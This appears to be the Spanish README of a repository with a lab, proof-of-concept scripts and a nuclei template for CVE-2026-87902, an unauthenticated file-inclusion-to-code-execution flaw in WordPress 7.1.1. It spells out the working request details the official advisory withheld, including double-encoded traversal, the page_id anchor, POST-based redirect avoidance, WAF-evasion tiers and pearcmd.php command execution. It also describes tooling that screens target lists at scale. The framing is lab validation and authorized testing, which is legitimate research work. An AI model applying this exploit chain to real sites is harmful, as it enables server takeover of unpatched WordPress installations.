WordPress Core <= 7.1.1 LFI no autenticado a RCE - laboratorio de validación, PoC, plantilla de nuclei (GHSA-7hp8-65ch-5whp)
Material de investigación de seguridad para reproducir y validar CVE-2026-87902 (GHSA-7hp8-65ch-5whp) en un laboratorio Docker aislado, solo en loopback: una inclusión local de archivos no autenticada en la resolución de plantillas de página del núcleo de WordPress, escalable a ejecución remota de código.
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)Estado: demostrado en el laboratorio proporcionado.
WordPress 7.1.1 (tema Twenty Twelve) permite a un atacante no autenticado
incluir archivos PHP desde fuera del directorio del tema a través de la variable
de consulta pagename, y - con el valor predeterminado register_argc_argv = On
de la imagen oficial de PHP - escribir y ejecutar un archivo marcador mediante
pearcmd.php de PEAR:
WordPress: 7.1.1
Theme: twentytwelve (page-templates/ present)
PHP: 8.2 (official image, register_argc_argv=On, PEAR present)
Result: LFI oracle fired (<opml version="1.0">); marker probe executed as
uid=33(www-data) and self-deleted
WordPress 7.1.2 con la configuración idéntica bloquea el oráculo por completo (control negativo). Esto demuestra la ejecución de código como el usuario del servidor web de WordPress dentro del contenedor. No demuestra acceso root, escape del contenedor, movimiento lateral ni compromiso del host.
Requisitos: Docker con Compose v2, Python 3.10+, acceso de red a Docker Hub y wordpress.org (instalación del tema).
./lab verify
Esto construye el laboratorio vulnerable, exige que el oráculo LFI y el marcador RCE se activen, luego construye el laboratorio parcheado y exige que el oráculo permanezca silencioso.
Para usar otro puerto de loopback: LAB_PORT=9499 ./lab verify.
Elimina todo después con ./lab reset.
Control vulnerable:
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
evidence: uid=33(www-data) (command `id` ran as the web user)
cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED
Control parcheado:
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED
Un HTTP 200, un bloqueo de WAF o un traversal parcial sin el marcador del oráculo no se acepta como prueba.
./lab start vulnerable # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test # assert LFI + RCE
./lab start patched # fresh 7.1.2 lab
./lab test # assert oracle absence
./lab status
./lab reset # containers, volumes, state
Ejecuta las herramientas manualmente contra el laboratorio en funcionamiento:
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent
Para sistemas que posees o estás explícitamente autorizado a probar (alcance de bug-bounty, encargo por escrito), los drivers requieren la anulación explícita:
python3 poc/poc_cve_2026_87902.py --url https://target.example \
--allow-authorized-non-loopback [--insecure] [--rce]
get_page_template() en wp-includes/template.php construye un nombre de archivo
de plantilla candidato a partir de la variable de consulta pagename. La rama
hermana tres líneas más arriba pasa el slug de la plantilla de página por
validate_file(); la rama pagename nunca lo hizo, y además añade un candidato
extra decodificado con urldecode():
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // 7.1.2 adds validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
7.1.2 aplica validate_file() al candidato decodificado y añade una
puerta de contención (_wp_is_template_path_allowed()) que toda ruta de
plantilla resuelta debe superar.
locate_template() comprueba ambos)
incluye un directorio de nivel superior que comienza con page-. Los temas
predeterminados heredados (Twenty Twelve, Twenty Fourteen) y varios temas de
wp.org (Neve, Hestia, Sydney) cumplen. Los temas comerciales investigados
(Divi, Avada, Flatsome, Woodmart, Betheme, The7, Enfold, Salient, Jupiter/X,
Porto, Houzez, XStore, Kalium, Uncode) no incluyen ninguno - el traversal
no puede resolverse; consulta PRO_THEME_PAGE_DIRS en el PoC para la lista
obtenida de espejos..php (añadido por el código).register_argc_argv = On y el pearcmd.php de PEAR.El aviso y el artículo de Patchstack se niegan a publicar una solicitud funcional. Estos detalles se establecieron empíricamente en este laboratorio:
page_id es obligatoria. Un pagename no resuelto activa
is_404, cuya plantilla eclipsa por completo get_page_template(). Ancla la
consulta con cualquier page_id publicado y resoluble.get_posts() reescribe pagename
a través de sanitize_title_for_query( wp_basename( … ) ): el .. sin procesar
se convierte en -, pero las secuencias %hex sobreviven; el urldecode()
extra en get_page_template() revela el traversal. Solo funciona %252e/%252f.redirect_canonical hace 301
en GET y descarta el payload; retorna inmediatamente para no-GET/HEAD).../ desde page-templates/ en un docroot estándar.$_POST en las
variables de consulta) - la base de los niveles de evasión de WAF.$argv, y el serializador de configuración de PEAR escapa ambos
estilos de comillas - de ahí la sonda sin procesar, sin comillas y separada por +.| Ruta | Propósito |
|---|---|
poc/poc_cve_2026_87902.py | PoC completo: huella de versión + WAF, enumeración de temas/carpetas page-* (SVN de wp.org, descubrimiento por referencia de assets, mapa investigado de temas pro), descubrimiento de anclas, oráculo LFI de 8 variantes, oráculo comparativo de cuerpo vacío como respaldo, cadena pearcmd --rce, demo docker --lab |
poc/triage_cve_2026_87902.py | Veredicto por objetivo o por lote con la puerta fallida nombrada (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE) |
poc/bounty_screen.py | Trabaja una lista de activos de bug-bounty dentro del alcance: expansión de comodines de crt.sh → filtro WP → cribado de precondiciones → entrega de candidatos |
nuclei/cve-2026-87902.yaml | Plantilla de Nuclei: oráculo LFI seguro (174 payloads: 10 restos page-*, niveles de doble/triple codificación, ids 1–30) |